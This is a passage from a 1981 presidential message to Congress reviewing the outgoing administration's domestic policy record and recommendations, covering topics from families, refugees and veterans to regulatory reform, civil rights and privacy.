this goal during the International Year.FAMILIESBecause of my concern for American families, my Administration convened\nlast year the first White House Conference on Families which involved seven\nnational hearings, over 506 state and local events, three White House\nConferences, and the direct participation of more than 125,000 citizens.\nThe Conference reaffirmed the centrality of families in our lives and\nnation but documented problems American families face as well. We also\nestablished the Office of Families within the Department of Health and\nHuman Services to review government policies and programs that affect\nfamilies.I expect the departments and agencies within the executive branch of the\nFederal government as well as Members of Congress, corporate and business\nleaders, and State and local officials across the country, to study closely\nthe recommendations of the White House Conference and implement them\nappropriately. As public policy is developed and implemented by the Federal\ngovernment, cognizance of the work of the Conference should be taken as a\npragmatic and essential step.The Conference has done a good job of establishing an agenda for action to\nassure that the policies of the Federal government are more sensitive in\ntheir impact on families. I hope the Congress will review and seriously\nconsider the Conference's recommendations.OLDER AMERICANSMy Administration has taken great strides toward solving the difficult\nproblems faced by older Americans. Early in my term we worked successfully\nwith the Congress to assure adequate revenues for the Social Security Trust\nFunds. And last year the strength of the Social Security System was\nstrengthened by legislation I proposed to permit borrowing among the\nseparate trust funds. I have also signed into law legislation prohibiting\nemployers from requiring retirement prior to age 70, and removing mandatory\nretirement for most Federal employees. In addition, my Administration\nworked very closely with Congress to amend the Older Americans Act in a way\nthat has already improved administration of its housing, social services,\nfood delivery, and employment programs.This year, I will be submitting to Congress a budget which again\ndemonstrates my commitment to programs for the elderly. It will include, as\nmy previous budgets have, increased funding for nutrition, senior centers\nand home health care, and will focus added resources on the needs of older\nAmericans.With the 1981 White House Conference on Aging approaching, I hope the new\nAdministration will make every effort to assure an effective and useful\nconference. This Conference should enable older Americans to voice their\nconcerns and give us guidance in our continued efforts to ensure the\nquality of life so richly deserved by our senior citizens.REFUGEESWe cannot hope to build a just and humane society at home if we ignore the\nhumanitarian claims of refugees, their lives at stake, who have nowhere\nelse to turn. Our country can be proud that hundreds of thousands of people\naround the world would risk everything they have--including their own\nlives--to come to our country.This Administration initiated and implemented the first comprehensive\nreform of our refugee and immigration policies in over 25 years. We also\nestablished the first refugee coordination office in the Department of\nState under the leadership of a special ambassador and coordinator for\nrefugee affairs and programs. The new legislation and the coordinator's\noffice will bring common sense and consolidation to our Nation's previously\nfragmented, inconsistent, and in many ways, outdated, refugee and\nimmigration policies.With the unexpected arrival of thousands of Cubans and Haitians who sought\nrefuge in our country last year, outside of our regular immigration and\nrefugee admissions process, our country and its government were tested in\nbeing compassionate and responsive to a major human emergency. Because we\nhad taken steps to reorganize our refugee programs, we met that test\nsuccessfully. I am proud that the American people responded to this crisis\nwith their traditional good will and hospitality. Also, we would never have\nbeen able to handle this unprecedented emergency without the efforts of the\nprivate resettlement agencies who have always been there to help refugees\nin crises.Immigrants to this country always contribute more toward making our country\nstronger than they ever take from the system. I am confident that the\nnewest arrivals to our country will carry on this tradition.While we must remain committed to aiding and assisting those who come to\nour shores, at the same time we must uphold our immigration and refugee\npolicies and provide adequate enforcement resources. As a result of our\nenforcement policy, the illegal flow from Cuba has been halted and an\norderly process has been initiated to make certain that our refugee and\nimmigration laws are honored.This year the Select Commission on Immigration and Refugee Policy will\ncomplete its work and forward its advice and recommendations. I hope that\nthe recommendations will be carefully considered by the new Administration\nand the Congress, for it is clear that we must take additional action to\nkeep our immigration policy responsive to emergencies and ever changing\ntimes.VETERANSThis country and its leadership has a continuing and unique obligation to\nthe men and women who served their nation in the armed forces and help\nmaintain or restore peace in the world.My commitment to veterans, as evidenced by my record, is characterized by a\nconscientious and consistent emphasis in these general areas:First, we have worked to honor the Vietnam veteran. During my\nAdministration, and under the leadership of VA Administrator Max Cleland, I\nwas proud to lead our country in an overdue acknowledgement of our Nation's\ngratitude to the men and women who served their country during the bitter\nwar in Southeast Asia. Their homecoming was deferred and seemed doomed to\nbe ignored. Our country has matured in the last four years and at long last\nwe were able to separate the war from the warrior and honor these veterans.\nBut with our acknowledgement of their service goes an understanding that\nsome Vietnam veterans have unique needs and problems.My Administration was able to launch a long sought after psychological\nreadjustment and outreach program, unprecedented in its popularity,\nsensitivity and success. This program must be continued. The Administration\nhas also grappled with the difficult questions posed by some veterans who\nserved in Southeast Asia and were exposed to potentially harmful\nsubstances, including the herbicide known as Agent Orange. We have launched\nscientific inquiries that should answer many veterans' questions about\ntheir health and should provide the basis for establishing sound\ncompensation policy. We cannot rest until their concerns are dealt with in\na sensitive, expeditious and compassionate fashion.Second, we have focused the VA health care system in the needs of the\nservice-connected disabled veteran. We initiated and are implementing the\nfirst reform of the VA vocational rehabilitation system since its inception\nin 1943. Also, my Administration was the first to seek a cost-of-living\nincrease for the recipients of VA compensation every year. My last budget\nalso makes such a request. The Administration also launched the Disabled\nVeterans Outreach Program in the Department of Labor which has successfully\nplaced disabled veterans in jobs. Services provided by the VA health care\nsystem will be further targeted to the special needs of disabled veterans\nduring the coming year.Third, the VA health care system, the largest in the free world, has\nmaintained its independence and high quality during my Administration. We\nhave made the system more efficient and have therefore treated more\nveterans than ever before by concentrating on out-patient care and through\nmodern management improvements. As the median age of the American veteran\npopulation increases, we must concentrate on further changes within the VA\nsystem to keep it independent and to serve as a model to the nation and to\nthe world as a center for research, treatment and rehabilitation.Government AssistanceGENERAL AID TO STATE AND LOCAL GOVERNMENTSSince taking office, I have been strongly committed to strengthening the\nfiscal and economic condition of our Nation's State and local governments.\nI have accomplished this goal by encouraging economic development of local\ncommunities, and by supporting the General Revenue Sharing and other\nessential grant-in-aid programs.GRANTS-IN-AID TO STATES AND LOCALITIESDuring my Administration, total grants-in-aid to State and local\ngovernments have increased by more than 40 percent, from $68 billion in\nFiscal Year 1977 to $96 billion in Fiscal Year 1981. This significant\nincrease in aid has allowed States and localities to maintain services that\nare essential to their citizens without imposing onerous tax burdens. It\nalso has allowed us to establish an unprecedented partnership between the\nleaders of the Federal government and State and local government elected\nofficials.GENERAL REVENUE SHARINGLast year Congress enacted legislation that extends the General Revenue\nSharing program for three more years. This program is the cornerstone of\nour efforts to maintain the fiscal health of our Nation's local government.\nIt will provide $4.6 billion in each of the next three years to cities,\ncounties and towns. This program is essential to the continued ability of\nour local governments to provide essential police, fire and sanitation\nservices.This legislation renewing GRS will be the cornerstone of\nFederal-State-local government relations in the 1980's. This policy will\nemphasize the need for all levels of government to cooperate in order to\nmeet the needs of the most fiscally strained cities and counties, and also\nwill emphasize the important role that GRS can play in forging this\npartnership. I am grateful that Congress moved quickly to assure that our\nNation's localities can begin the 1980's in sound fiscal condition.COUNTER-CYCLICAL ASSISTANCELast year, I proposed that Congress enact a $1 billion counter-cyclical\nfiscal assistance program to protect States and localities from unexpected\nchanges in the national economy. This program unfortunately was not enacted\nby the [full] Congress. I, therefore, have not included funding for\ncounter-cyclical aid in my Fiscal Year 1982 budget. Nevertheless, I urge\nCongress to enact a permanent stand-by counter-cyclical program, so that\nStates and cities can be protected during the next economic downturn.URBAN POLICYThree years ago, I proposed the Nation's first comprehensive urban policy.\nThat policy involved more than one hundred improvements in existing Federal\nprograms, four new Executive Orders and nineteen pieces of urban-oriented\nlegislation. With Congress' cooperation, sixteen of these bills have now\nbeen signed into law.ECONOMIC DEVELOPMENTOne of the principal goals of my domestic policy has been to strengthen the\nprivate sector economic base of our Nation's economically troubled urban\nand rural areas. With Congress' cooperation, we have substantially expanded\nthe Federal government's economic development programs and provided new tax\nincentives for private investment in urban and rural communities. These\nprograms have helped many communities to attract new private sector jobs\nand investments and to retain the jobs and investments that already are in\nplace.When I took office, the Federal government was spending less than $300\nmillion annually on economic development programs, and only $60 million of\nthose funds in our Nation's urban areas. Since that time, we have created\nthe Urban Development Action Grant (UDAG) program and substantially\nexpanded the economic development programs in the Commerce Department. My\nFY 1982 budget requests more than $1.5 billion for economic development\ngrants, loans and interest subsidies and almost $1.5 billion for loan\nguarantees. Approximately 60 percent of these funds will be spent in our\nNation's urban areas. In addition, we have extended the 10 percent\ninvestment credit to include rehabilitation of existing industrial\nfacilities as well as new construction.I continue to believe that the development of private sector investment and\njobs is the key to revitalizing our Nation's economically depressed urban\nand rural areas. To ensure that the necessary economic development goes\nforward, the Congress must continue to provide strong support for the UDAG\nprogram and the programs for the Economic Development Administration. Those\nprograms provide a foundation for the economic development of our Nation in\nthe 1980's.COMMUNITY DEVELOPMENTThe partnership among Federal, State and local governments to revitalize\nour Nation's communities has been a high priority of my Administration.\nWhen I took office, I proposed a substantial expansion of the Community\nDevelopment Block Grant (CDBG) program and the enactment of a new $400\nmillion Urban Development Action Grant (UDAG) program. Both of these\nprograms have provided essential community and economic development\nassistance to our Nation's cities and counties.Last year, Congress reauthorized both the CDBG and UDAG programs. The CDBG\nprogram was reauthorized for three more years with annual funding increases\nof $150 million, and the UDAG program was extended for three years at the\ncurrent funding level of $675 million annually. My 1982 budget requests\nfull funding for both of these programs. These actions should help our\nNation's cities and counties to continue the progress they have made in the\nlast three years.NEIGHBORHOODSDuring my Administration we have taken numerous positive steps to achieve a\nfull partnership of neighborhood organizations and government at all\nlevels. We have successfully fought against red lining and housing\ndiscrimination. We created innovative Self Help funding and technical\nresource transfer mechanisms. We have created unique methods of access for\nneighborhood organizations to have a participating role in Federal and\nState government decision-making. Neighborhood based organizations are the\nthreshold of the American community.The Federal government will need to develop more innovative and practical\nways for neighborhood based organizations to successfully participate in\nthe identification and solution of local and neighborhood concerns. Full\npartnership will only be achieved with the knowing participation of leaders\nof government, business, education and unions. Neither state nor Federal\nsolutions imposed from on high will suffice. Neighborhoods are the fabric\nand soul of this great land. Neighborhoods define the weave that has been\nused to create a permanent fabric. The Federal government must take every\nopportunity to provide access and influence to the individuals and\norganizations affected at the neighborhood level.Rural PolicySince the beginning of my Administration, I have been committed to\nimproving the effectiveness with which the Federal government deals with\nthe problems and needs of a rapidly changing rural America. The rapid\ngrowth of some rural areas has placed a heavy strain on communities and\ntheir resources. There are also persistent problems of poverty and economic\nstagnation in other parts of rural America. Some rural areas continue to\nlose population, as they have for the past several decades.In December, 1979, I announced the Small Community and Rural Development\nPolicy. It was the culmination of several years' work and was designed to\naddress the varying needs of our rural population. In 1980, my\nAdministration worked with the Congress to pass the Rural Development\nPolicy Act of 1980, which when fully implemented will allow us to meet the\nneeds of rural people and their communities more effectively and more\nefficiently.As a result of the policy and the accompanying legislation, we have:--Created the position of Under Secretary of Agriculture for Small\nCommunity and Rural Development to provide overall leadership.--Established a White House Working Group to assist in the implementation\nof the policy.--Worked with more than 40 governors to form State rural development\ncouncils to work in partnership with the White House Working Group, and the\nFederal agencies, to better deliver State and Federal programs to rural\nareas.--Directed the White House Working Group to annually review existing and\nproposed policies, programs, and budget levels to determine their adequacy\nin meeting rural needs and the fulfilling of the policy's objectives and\nprinciples.This effort on the part of my Administration and the Congress has resulted\nin a landmark policy. For the first time, rural affairs has received the\nprominence it has always deserved. It is a policy that can truly help\nalleviate the diverse and differing problems rural America will face in the\n1980's.With the help and dedication of a great many people around the country who\nare concerned with rural affairs, we have constructed a mechanism for\ndealing effectively with rural problems. There is now a great opportunity\nto successfully combine Federal efforts with the efforts of rural community\nleaders and residents. It is my hope this spirit of cooperation and record\nof accomplishment will be continued in the coming years.CONSUMERSIn September, 1979, I signed an Executive Order designed to strengthen and\ncoordinate Federal consumer programs and to establish procedures to improve\nand facilitate consumer participation in government decision-making. Forty\nFederal agencies have adopted programs to comply with the requirements of\nthe Order. These programs will improve complaint handling, provide better\ninformation to consumers, enhance opportunities for public participation in\ngovernment proceedings, and assure that the consumer point of view is\nconsidered in all programs, policies, and regulations.While substantial progress has been made in assuring a consumer presence in\nFederal agencies, work must continue to meet fully the goals of the\nExecutive Order. Close monitoring of agency compliance with the\nrequirements of the Order is necessary. Continued evaluation to assure that\nthe programs are effective and making maximum use of available resources is\nalso essential. As a complement to these initiatives, efforts to provide\nfinancial assistance in regulatory proceedings to citizen groups, small\nbusinesses, and others whose participation is limited by their economic\ncircumstances must continue to be pursued.It is essential that consumer representatives in government pay particular\nattention to the needs and interests of low-income consumers and\nminorities. The Office of Consumer Affairs' publication, \"People Power:\nWhat Communities Are Doing to Counter Inflation,\" catalogues some of the\nways that government and the private sector can assist the less powerful in\nour society to help themselves. New ways should be found to help foster\nthis new people's movement which is founded on the principle of\nself-reliance.Science and TechnologyScience and technology contribute immeasurably to the lives of all\nAmericans. Our high standard of living is largely the product of the\ntechnology that surrounds us in the home or factory. Our good health is due\nin large part to our ever increasing scientific understanding. Our national\nsecurity is assured by the application pate science and technology will\nbring.The Federal government has a special role to play in science and\ntechnology. Although the fruits of scientific achievements surround us, it\nis often difficult to predict the benefits that will arise from a given\nscientific venture. And these benefits, even if predictable, do not usually\nlead to ownership rights. Accordingly, the Government has a special\nobligation to support science as an investment in our future.My Administration has sought to reverse a decade-long decline in funding.\nDespite the need for fiscal restraint, real support of basic research has\ngrown nearly 11% during my term in office. And, my Administration has\nsought to increase the support of long-term research in the variety of\nmission agencies. In this way, we can harness the American genius for\ninnovation to meet the economic, energy, health, and security challenges\nthat confront our nation.--International Relations and National Security. Science and technology\nare becoming increasingly important elements of our national security and\nforeign policies. This is especially so in the current age of sophisticated\ndefense systems and of growing dependence among all countries on modern\ntechnology for all aspects of their economic strength. For these reasons,\nscientific and technological considerations have been integral elements of\nthe Administration's decision-making on such national security and foreign\npolicy issues as the modernization of our strategic weaponry, arms control,\ntechnology transfer, the growing bilateral relationship with China, and our\nrelations with the developing world.Four themes have shaped U.S. policy in international scientific and\ntechnological cooperation: pursuit of new international initiatives to\nadvance our own research and development objectives; development and\nstrengthening of scientific exchange to bridge politically ideological, and\ncultural divisions between this country and other countries; formulation of\nprograms and institutional relations to help developing countries use\nscience and technology beneficially; and cooperation with other nations to\nmanage technologies with local impact. At my direction, my Science and\nTechnology Adviser has actively pursued international programs in support\nof these four themes. We have given special attention to scientific and\ntechnical relations with China, to new forms of scientific and technical\ncooperation with Japan, to cooperation with Mexico, other Latin American\nand Caribbean countries and several states in Black America, and to the\nproposed Institute for Scientific and Technological Cooperation.In particular our cooperation with developing countries reflects the\nimportance that each of them has placed on the relationship between\neconomic growth and scientific and technological capability. It also\nreflects their view that the great strength of the U.S. in science and\ntechnology makes close relations with the U.S. technical community an\nespecially productive means of enhancing this capability. Scientific and\ntechnological assistance is a key linkage between the U.S. and the\ndeveloping world, a linkage that has been under-utilized in the past and\none which we must continue to work to strengthen.--Space Policy. The Administration has established a framework for a\nstrong and evolving space program for the 1980's.The Administration's space policy reaffirmed the separation of military\nspace systems and the open civil space program, and at the same time,\nprovided new guidance on technology transfer between the civil and military\nprograms. The civil space program centers on three basic tenets: First, our\nspace policy will reflect a balanced strategy of applications, science, and\ntechnology development. Second, activities will be pursued when they can be\nuniquely or more efficiently accomplished in space. Third, a premature\ncommitment to a high challenge, space-engineering initiative of the\ncomplexity of Apollo is inappropriate. As the Shuttle development phases\ndown, however, there will be added flexibility to consider new space\napplications, space science and new space exploration activities.--Technology Development. The Shuttle dominates our technology development\neffort and correctly so. It represents one of the most sophisticated\ntechnological challenges ever undertaken, and as a result, has encountered\ntechnical problems. Nonetheless, the first manned orbital flight is now\nscheduled for March, 1981. I have been pleased to support strongly the\nnecessary funds for the Shuttle throughout my Administration.--Space Applications. Since 1972, the U.S. has conducted experimental\ncivil remote sensing through Landsat satellites, thereby realizing many\nsuccessful applications. Recognizing this fact, I directed the\nimplementation of an operational civil land satellite remote sensing\nsystem, with the operational management responsibility in Commerce's\nNational Oceanic and Atmospheric Administration. In addition, because ocean\nobservations from space can meet common civil and military data\nrequirements, a National Oceanic Satellite System has been proposed as a\nmajor FY 1981 new start.--Space Science Exploration. The goals of this Administration's policy in\nspace science have been to: (1) continue a vigorous program of planetary\nexploration to understand the origin and evolution of the solar system; (2)\nutilize the space telescope and free-flying satellites to usher in a new\nera of astronomy; (3) develop a better understanding of the sun and its\ninteraction with the terrestrial environment; and (4) utilize the Shuttle\nand Spacelab to conduct basic research that complements earth-based life\nscience investigations.DISTRICT OF COLUMBIAWashington, D.C., is home to both the Federal Government and to more than\nhalf a million American citizens. I have worked to improve the relationship\nbetween the Federal establishment and the Government of the District of\nColumbia in order to further the goals and spirit of home rule. The City\ncontrols more of its own destiny than was the case four years ago. Yet,\ndespite the close cooperation between my Administration and that of Mayor\nBarry, we have not yet seen the necessary number of states ratify the\nConstitutional Amendment granting full voting representation in the\nCongress to the citizens of this city. It is my hope that this inequity\nwill be rectified. The country and the people who inhabit Washington\ndeserve no less.THE ARTSThe arts are a precious national resource.Federal support for the arts has been enhanced during my Administration by\nexpanding government funding and services to arts institutions, individual\nartists, scholars, and teachers through the National Endowment for the\nArts. We have broadened its scope and reach to a more diverse population.\nWe have also reactivated the Federal Council on the Arts and Humanities.It is my hope that during the coming years the new Administration and the\nCongress will:--Continue support of institutions promoting development and understanding\nof the arts;--Encourage business participants in a comprehensive effort to achieve a\ntruly mixed economy of support for the arts;--Explore a variety of mechanisms to nurture the creative talent of our\ncitizens and build audiences for their work;--Support strong, active National Endowments for the Arts;--Seek greater recognition for the rich cultural tradition of the nation's\nminorities;--Provide grants for the arts in low-income neighborhoods.THE HUMANITIESIn recently reauthorizing Federal appropriations for the National Endowment\nfor the Humanities, the Congress has once again reaffirmed that \"the\nencouragement and support of national progress and scholarship in the\nhumanities . . . while primarily a matter for private and local initiative,\nis also an appropriate matter of concern to the Federal Government\" and\nthat \"a high civilization must not limit its efforts to science and\ntechnology alone but must give full value and support to the other great\nbranches of man's scholarly and cultural activity in order to achieve a\nbetter understanding of the past, a better analysis of the present, and a\nbetter view of the future.\"I believe we are in agreement that the humanities illuminate the values\nunderlying important personal, social, and national questions raised in our\nsociety by its multiple links to and increasing dependence on technology,\nand by the diverse heritage of our many regions and ethnic groups. The\nhumanities cast light on the broad issue of the role in a society of men\nand women of imagination and energy--those individuals who through their\nown example define \"the spirit of the age,\" and in so doing move nations.\nOur Government's support for the humanities, within the framework laid down\nby the Congress, is a recognition of their essential nourishment of the\nlife of the mind and vital enrichment of our national life.I will be proposing an increase in funding this year sufficient to enable\nthe Endowment to maintain the same level of support offered our citizens in\nFiscal Year 1981.In the allocation of this funding, special emphasis will be given to:--Humanities education in the nation's schools, in response to the great\nneeds that have arisen in this area;--Scholarly research designed to increase our understanding of the\ncultures, traditions, and historical forces at work in other nations and in\nour own;--Drawing attention to the physical disintegration of the raw material of\nour cultural heritage--books, manuscripts, periodicals, and other\ndocuments--and to the development of techniques to prevent the destruction\nand to preserve those materials; and--The dissemination of quality programming in the humanities to\nincreasingly large American audiences through the use of radio and\ntelevision.The dominant effort in the Endowment's expenditures will be a commitment to\nstrengthen and promulgate scholarly excellence and achievement in work in\nthe humanities in our schools, colleges, universities, libraries, museums\nand other cultural institutions, as well as in the work of individual\nscholars or collaborative groups engaged in advanced research in the\nhumanities.In making its grants the Endowment will increase its emphasis on techniques\nwhich stimulate support for the humanities from non-Federal sources, in\norder to reinforce our tradition of private philanthropy in this field, and\nto insure and expand the financial viability of our cultural institutions\nand life.INSULAR AREASI have been firmly committed to self-determination for Puerto Rico, the\nVirgin Islands, Guam, American Samoa and the Northern Mariana Islands, and\nhave vigorously supported the realization of whatever political status\naspirations are democratically chosen by their peoples. This principle was\nthe keystone of the comprehensive territorial policy I sent the Congress\nlast year. I am pleased that most of the legislative elements of that\npolicy were endorsed by the 96th Congress.The unique cultures, fragile economies, and locations of our Caribbean and\nPacific Islands are distinct assets to the United States which require the\nsensitive application of policy. The United States Government should pursue\ninitiatives begun by my Administration and the Congress to stimulate\ninsular economic development; enhance treatment under Federal programs\neliminating current inequities; provide vitally needed special assistance\nand coordinate and rationalize policies. These measures will result in\ngreater self-sufficiency and balanced growth. In particular, I hope that\nthe new Congress will support funding for fiscal management, comprehensive\nplanning and other technical assistance for the territories, as well as\ncreate the commission I have proposed to review the applicability of all\nFederal laws to the insular areas and make recommendations for appropriate\nmodification.IV. REMOVING GOVERNMENTAL WASTE AND INEFFICIENCYOne of my major commitments has been to restore public faith in our Federal\ngovernment by cutting out waste and inefficiency. In the past four years,\nwe have made dramatic advances toward this goal, many of them previously\nconsidered impossible to achieve. Where government rules and operations\nwere unnecessary, they have been eliminated, as with airline, rail,\ntrucking and financial deregulation. Where government functions are needed,\nthey have been streamlined, through such landmark measures as the Civil\nService Reform Act of 1978. I hope that the new administration and the\nCongress will keep up the momentum we have established for effective and\nresponsible change in this area of crucial public concern.CIVIL SERVICE REFORMIn March 1978, I submitted the Civil Service Reform Act to Congress. I\ncalled it the centerpiece of my efforts to reform and reorganize the\ngovernment. With bipartisan support from Congress, the bill passed, and I\nam pleased to say that implementation is running well ahead of the\nstatutory schedule. Throughout the service, we are putting into place the\nmeans to assure that reward and retention are based on performance and not\nsimply on length of time on the job. In the first real test of the Reform\nAct, 98 percent of the eligible top-level managers joined the Senior\nExecutive Service, choosing to relinquish job protections for the challenge\nand potential reward of this new corps of top executives. Though the Act\ndoes not require several of its key elements to be in operation for another\nyear, some Federal agencies already have established merit pay systems for\nGS-13-15 managers, and most agencies are well on their way to establishing\nnew performance standards for all their employees. All have paid out, or\nare now in the process of paying out, performance bonuses earned by\noutstanding members of the Senior Executive Service. Dismissals have\nincreased by 10 percent, and dismissals specifically for inadequate job\nperformance have risen 1500 percent, since the Act was adopted. Finally, we\nhave established a fully independent Merit Systems Protection Board and\nSpecial Counsel to protect the rights of whistle-blowers and other Federal\nemployees faced with threats to their rights.In 1981, civil service reform faces critical challenges, all agencies must\nhave fully functioning performance appraisal systems for all employees, and\nmerit pay systems for compensating the government's 130,000 GS-13-15\nmanagers. Performance bonuses for members of the Senior Executive Service\nwill surely receive scrutiny. If this attention is balanced and\nconstructive, it can only enhance the chances for ultimate success of our\nbipartisan commitment to the revolutionary and crucial \"pay for\nperformance\" concept.REGULATORY REFORMDuring the past four years we have made tremendous progress in regulatory\nreform. We have discarded old economic regulations that prevented\ncompetition and raised consumer costs, and we have imposed strong\nmanagement principles on the regulatory programs the country needs, cutting\npaperwork and other wasteful burdens. The challenge for the future is to\ncontinue the progress in both areas without crippling vital health and\nsafety programs.Our economic deregulation program has achieved major successes in five\nareas:Airlines: The Airline Deregulation Act is generating healthy competition,\nsaving billions in fares, and making the airlines more efficient. The Act\nprovides that in 1985 the CAB itself will go out of existence.Trucking: The trucking deregulation bill opens the industry to competition\nand allows truckers wide latitude on the routes they drive and the goods\nthey haul. The bill also phases out most of the old law's immunity for\nsetting rates. The Congressional Budget Office estimates these reforms will\nsave as much as $8 billion per year and cut as much as half a percentage\npoint from the inflation rate.Railroads: Overregulation has stifled railroad management initiative,\nservice, and competitive pricing. The new legislation gives the railroads\nthe freedom they need to rebuild a strong, efficient railroad industry.Financial Institutions: With the help of the Congress, over the past four\nyears we have achieved two major pieces of financial reform legislation,\nlegislation which has provided the basis for the most far-reaching changes\nin the financial services industry since the 1930's. The International\nBanking Act of 1978 was designed to reduce the advantages that foreign\nbanks operating in the United States possessed in comparison to domestic\nbanks. The Depository Institutions Deregulation and Monetary Control Act,\nadopted last March, provides for the phased elimination of a variety of\nanti-competitive barriers to financial institutions and freedom to offer\nservices to and attract the savings of consumers, especially small savers.Recently, I submitted to the Congress my Administration's recommendations\nfor the phased liberalization of restrictions on geographic expansion by\ncommercial banks. Last year the Administration and financial regulatory\nagencies proposed legislation to permit the interstate acquisition of\nfailing depository institutions. In view of the difficult outlook for some\ndepository institutions I strongly urge the Congress to take prompt\nfavorable action on the failing bank legislation.Telecommunications: While Congress did not pass legislation in this area,\nthe Federal Communications Commission has taken dramatic action to open all\naspects of communications to competition and to eliminate regulations in\nthe areas where competition made them obsolete. The public is benefitting\nfrom an explosion of competition and new services.While these initiatives represent dramatic progress in economic\nderegulation, continued work is needed. I urge Congress to act on\ncommunications legislation and to consider other proposed deregulation\nmeasures, such as legislation on the bus industry. In addition, the\nregulatory commissions must maintain their commitment to competition as the\nbest regulator of all.The other part of my reform program covers the regulations that are needed\nto protect the health, safety, and welfare of our citizens. For these\nregulations, my Administration has created a management program to cut\ncosts without sacrificing goals. Under my Executive Order 12044, we\nrequired agencies to analyze the costs of their major new rules and\nconsider alternative approaches, such as performance standards and\nvoluntary codes, that may make rules less costly and more flexible. We\ncreated the Regulatory Analysis Review Group in the White House to analyze\nthe most costly proposed new rules and find ways to improve them. The\nRegulatory Council was established to provide the first Government-wide\nlisting of upcoming rules and eliminate overlapping and conflicting\nregulations. Agencies have launched \"sunset\" programs to weed out outmoded\nold regulations. We have acted to encourage public participation in\nregulatory decision-making.These steps have already saved billions of dollars in regulatory costs and\nslashed thousands of outmoded regulations. We are moving steadily toward a\nregulatory system that provides needed protections fairly, predictably, and\nat minimum cost.I urge Congress to continue on this steady path and resist the simplistic\nsolutions that have been proposed as alternatives. Proposals like\nlegislative veto and increased judicial review will add another layer to\nthe regulatory process, making it more cumbersome and inefficient. The\nright approach to reform is to improve the individual statutes, where they\nneed change, and to ensure that the regulatory agencies implement those\nstatutes sensibly.PAPERWORK REDUCTIONThe Federal Government imposes a huge paperwork burden on business, local\ngovernment, and the private sector. Many of these forms are needed for\nvital government functions, but others are duplicative, overly complex or\nobsolete.During my Administration we cut the paperwork burden by 15 percent, and we\ncreated procedures to continue this progress. The new Paperwork Reduction\nAct centralizes, in OMB, oversight of all agencies' information\nrequirements and strengthens OMB's authority to eliminate needless forms.\nThe \"paperwork budget\" process, which I established by executive order,\napplies the discipline of the budget process to the hours of reporting time\nimposed on the public, forcing agencies to scrutinize all their forms each\nyear. With effective implementation, these steps should allow further,\nsubstantial paperwork cuts in the years ahead.TIGHTENING STANDARDS FOR GOVERNMENTAL EFFICIENCY AND INTEGRITYTo develop a foundation to carry out energy policy, we consolidated\nscattered energy programs and launched the Synthetic Fuels Corporation; to\ngive education the priority it deserves and at the same time reduce HHS to\nmore manageable size, I gave education a seat at the Cabinet table, to\ncreate a stronger system for attacking waste and fraud, I reorganized audit\nand investigative functions by putting an Inspector General in major\nagencies. Since I took office, we have submitted 14 reorganization\ninitiatives and had them all approved by Congress. We have saved hundreds\nof millions of dollars through the adoption of businesslike cash management\nprinciples and set strict standards for personal financial disclosure and\nconflict of interest avoidance by high Federal officials.To streamline the structure of the government, we have secured approval of\n14 reorganization initiatives, improving the efficiency of the most\nimportant sectors of the government, including energy, education, and civil\nrights enforcement. We have eliminated more than 300 advisory committees as\nwell as other agencies, boards and commissions which were obsolete or\nineffective. Independent Inspectors General have been appointed in major\nagencies to attack fraud and waste. More than a billion dollars of\nquestionable transactions have been identified through their audit\nactivities.The adoption of business-like cash management and debt collection\ninitiatives will save over $1 billion, by streamlining the processing of\nreceipts, by controlling disbursements more carefully, and by reducing idle\ncash balances. Finally this Administration has set strict standards for\npersonal financial disclosure and conflict of interest avoidance by high\nFederal officials, to elevate the level of public trust in the government.V. PROTECTING BASIC RIGHTS AND LIBERTIESI am extremely proud of the advances we have made in ensuring equality and\nprotecting the basic freedoms of all Americans.--The Equal Employment Opportunity Commission (EEOC) and the Office of\nFederal Contract Compliance (OFCCP) have been reorganized and strengthened\nand a permanent civil rights unit has been established in OMB.--To avoid fragmented, inconsistent and duplicative enforcement of civil\nrights laws, three agencies have been given coordinative and\nstandard-setting responsibilities in discrete areas: EEOC for all\nemployment-related activities, HUD for all those relating to housing, and\nthe Department of Justice for all other areas.--With the enactment of the Right to Financial Privacy Act and a bill\nlimiting police search of newsrooms, we have begun to establish a sound,\ncomprehensive, privacy program.Ratification of the Equal Rights Amendment must be aggressively pursued.\nOnly one year remains in which to obtain ratification by three additional\nstates.The Congress must give early attention to a number of important bills which\nremain. These bills would:--strengthen the laws against discrimination in housing. Until it is\nenacted, the 1968 Civil Rights Act's promise of equal access to housing\nwill remain unfulfilled;--establish a charter for the FBI and the intelligence agencies. The\nfailure to define in law the duties and responsibilities of these agencies\nhas made possible some of the abuses which have occurred in recent years;--establish privacy safeguards for medical research, bank, insurance, and\ncredit records; and provide special protection for election fund transfer\nsystems.EQUAL RIGHTS AMENDMENTI remain committed as strongly as possible to the ratification of the Equal\nRights Amendment.As a result of our efforts in 1978, the Equal Rights Amendment's deadline\nfor ratification was extended for three years. We have now one year and\nthree States left. We cannot afford any delay in marshalling our resources\nand efforts to obtain the ratification of those three additional States.Although the Congress has no official role in the ratification process at\nthis point, you do have the ability to affect public opinion and the\nsupport of State Legislators for the Amendment. I urge Members from States\nwhich have not yet ratified the Equal Rights Amendment to use their\ninfluence to secure ratification. I will continue my own efforts to help\nensure ratification of the Equal Rights Amendment.MARTIN LUTHER KING, JR.Dr. Martin Luther King, Jr. led this Nation's effort to provide all its\ncitizens with civil rights and equal opportunities. His commitment to human\nrights, peace and non-violence stands as a monument to his humanity and\ncourage. As one of our Nation's most outstanding leaders, it is appropriate\nthat his birthday be commemorated as a national holiday. I hope the\nCongress will enact legislation this year that will achieve this goal.FAIR HOUSINGThe Fair Housing Act Amendments of 1980 passed the House of Representatives\nby an overwhelming bipartisan majority only to die in the Senate at the\nclose of the 96th Congress. The leaders of both parties have pledged to\nmake the enactment of fair housing legislation a top priority of the\nincoming Congress. The need is pressing and a strengthened federal\nenforcement effort must be the primary method of resolution.CRIMINAL CODEThe Federal criminal laws are often archaic, frequently contradictory and\nimprecise, and clearly in need of revision and codification. The new\nAdministration should continue the work which has been begun to develop a\nFederal criminal code which simplifies and clarifies our criminal laws,\nwhile maintaining our basic civil liberties and protections.PRIVACYAs our public and private institutions collect more and more information\nand as communications and computer technologies advance, we must act to\nprotect the personal privacy of our citizens.In the past four years we acted on the report of the Privacy Commission and\nestablished a national privacy policy. We worked with Congress to pass\nlegislation restricting wiretaps and law enforcement access to bank records\nand to reporters' files. We reduced the number of personal files held by\nthe government and restricted the transfer of personal information among\nFederal agencies. We also worked with the Organization for Economic\nCooperation and Development to establish international guidelines to\nprotect the privacy of personal information that is transferred across\nborders.VI. PROTECTING AND DEVELOPING OUR NATURAL RESOURCESTwo of our Nation's most precious 